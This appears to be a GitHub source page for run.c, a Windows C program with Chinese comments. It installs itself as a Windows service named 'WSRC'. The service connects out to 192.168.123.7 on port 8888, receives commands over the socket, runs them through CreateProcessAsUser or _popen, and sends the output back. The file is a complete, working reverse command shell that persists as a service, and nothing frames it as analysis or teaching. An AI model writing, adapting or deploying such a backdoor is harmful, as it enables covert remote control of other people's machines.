-
Notifications
You must be signed in to change notification settings - Fork 1
/
run.c
303 lines (258 loc) · 8.73 KB
/
run.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
/*
Made by Q3dlaXpoaQ
Remeber to add this codes in every break:
if (clientSocket != INVALID_SOCKET)
{
closesocket(clientSocket);
}
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
// 设置事件,通知服务已经停止
SetEvent(g_ServiceStopEvent);
This can stop the service correctly
*/
#include <stdio.h>
#include <tchar.h>
#include <winsock2.h>
#include <windows.h>
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD controlCode);
void sendChunkedData(SOCKET s, const char *data, int length);
void executeCommandAsUser(SOCKET s, HANDLE hToken, const char *command);
void Popen(SOCKET s, const char *command);
SERVICE_STATUS g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE;
SOCKET clientSocket;
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
g_StatusHandle = RegisterServiceCtrlHandler(TEXT("WSRC"), ServiceCtrlHandler);
if (g_StatusHandle == NULL)
{
// 处理注册服务控制处理程序失败的情况
return;
}
g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (g_ServiceStopEvent == NULL)
{
// 处理创建服务停止事件失败的情况
return;
}
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
// 连接到服务器
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (clientSocket == INVALID_SOCKET)
{
fprintf(stderr, "创建套接字时出错\n");
return;
}
struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = inet_addr("192.168.123.7");
serverAddr.sin_port = htons(8888);
if (connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR)
{
fprintf(stderr, "连接服务器时出错\n");
closesocket(clientSocket);
WSACleanup();
return;
}
else
{
send(clientSocket, "run", 4, 0);
}
// 假设你已经获取了用户的令牌并将其存储在hToken中
HANDLE hToken;
char buffer[1024000];
int bytesReceived;
while (1)
{
bytesReceived = recv(clientSocket, buffer, 1024000, 0);
if (bytesReceived > 0)
{
buffer[bytesReceived] = '\0';
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
executeCommandAsUser(clientSocket, hToken, buffer);
CloseHandle(hToken);
}
else
{
DWORD error = GetLastError();
printf("OpenProcessToken failed with error %d\n", error);
}
}
else if (bytesReceived == 0)
{
printf("服务器断开连接\n");
if (clientSocket != INVALID_SOCKET)
{
closesocket(clientSocket);
}
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
// 设置事件,通知服务已经停止
SetEvent(g_ServiceStopEvent);
break;
}
else
{
fprintf(stderr, "接收数据时出错\n");
if (clientSocket != INVALID_SOCKET)
{
closesocket(clientSocket);
}
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
// 设置事件,通知服务已经停止
SetEvent(g_ServiceStopEvent);
break;
}
}
closesocket(clientSocket);
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
// 等待服务停止事件被触发
WaitForSingleObject(g_ServiceStopEvent, INFINITE);
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
WSACleanup(); // 清理Winsock库
}
void WINAPI ServiceCtrlHandler(DWORD controlCode)
{
switch (controlCode)
{
case SERVICE_CONTROL_STOP:
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
// 添加关闭服务的代码
if (clientSocket != INVALID_SOCKET)
{
closesocket(clientSocket);
}
// 设置事件,通知服务已经停止
SetEvent(g_ServiceStopEvent);
break;
}
}
void executeCommandAsUser(SOCKET s, HANDLE hToken, const char *command)
{
HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES saAttr;
PROCESS_INFORMATION pi;
STARTUPINFO si;
DWORD bytesRead;
char buffer[102400];
ZeroMemory(&saAttr, sizeof(SECURITY_ATTRIBUTES));
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
if (!CreatePipe(&hReadPipe, &hWritePipe, &saAttr, 0))
{
fprintf(stderr, "创建管道时出错\n");
Popen(s, command);
return;
}
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessAsUser(hToken, NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
fprintf(stderr, "以用户身份创建进程时出错\n");
Popen(s, command);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return;
}
CloseHandle(hWritePipe);
while (ReadFile(hReadPipe, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0)
{
sendChunkedData(s, buffer, bytesRead);
}
CloseHandle(hReadPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
void sendChunkedData(SOCKET s, const char *data, int length)
{
int totalSent = 0;
while (totalSent < length)
{
int bytesSent = send(s, data + totalSent, length - totalSent, 0);
if (bytesSent == SOCKET_ERROR)
{
fprintf(stderr, "Error sending data\n");
return;
}
totalSent += bytesSent;
}
}
void Popen(SOCKET s, const char *command)
{
FILE *fp;
char buffer[102400];
if ((fp = _popen(command, "r")) == NULL)
{
fprintf(stderr, "执行命令时出错\n");
return;
}
while (fgets(buffer, sizeof(buffer), fp) != NULL)
{
sendChunkedData(s, buffer, strlen(buffer));
}
_pclose(fp);
}
void WSRMCmd(const char *command)
{
}
int main()
{
// 服务安装代码
SC_HANDLE schSCManager;
SC_HANDLE schService;
schSCManager = OpenSCManager(
NULL, // local computer
NULL, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
schService = OpenService(
schSCManager, // SCManager database
TEXT("WSRC"), // name of service
SERVICE_CHANGE_CONFIG); // need change config access
ChangeServiceConfig(
schService, // handle of service
SERVICE_NO_CHANGE, // service type: no change
SERVICE_DEMAND_START, // service start type, changed to manual start
SERVICE_NO_CHANGE, // error control type
NULL, // binary path name
NULL, // load order group
NULL, // tag ID
NULL, // dependencies
NULL, // account name
NULL, // password
NULL);
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
SERVICE_TABLE_ENTRY serviceTable[2];
TCHAR serviceName[] = _T("MyCmdService");
serviceTable[0].lpServiceName = serviceName;
serviceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
serviceTable[1].lpServiceName = NULL;
serviceTable[1].lpServiceProc = NULL;
if (!StartServiceCtrlDispatcher(serviceTable))
{
// 处理注册服务失败的情况
}
return 0;
}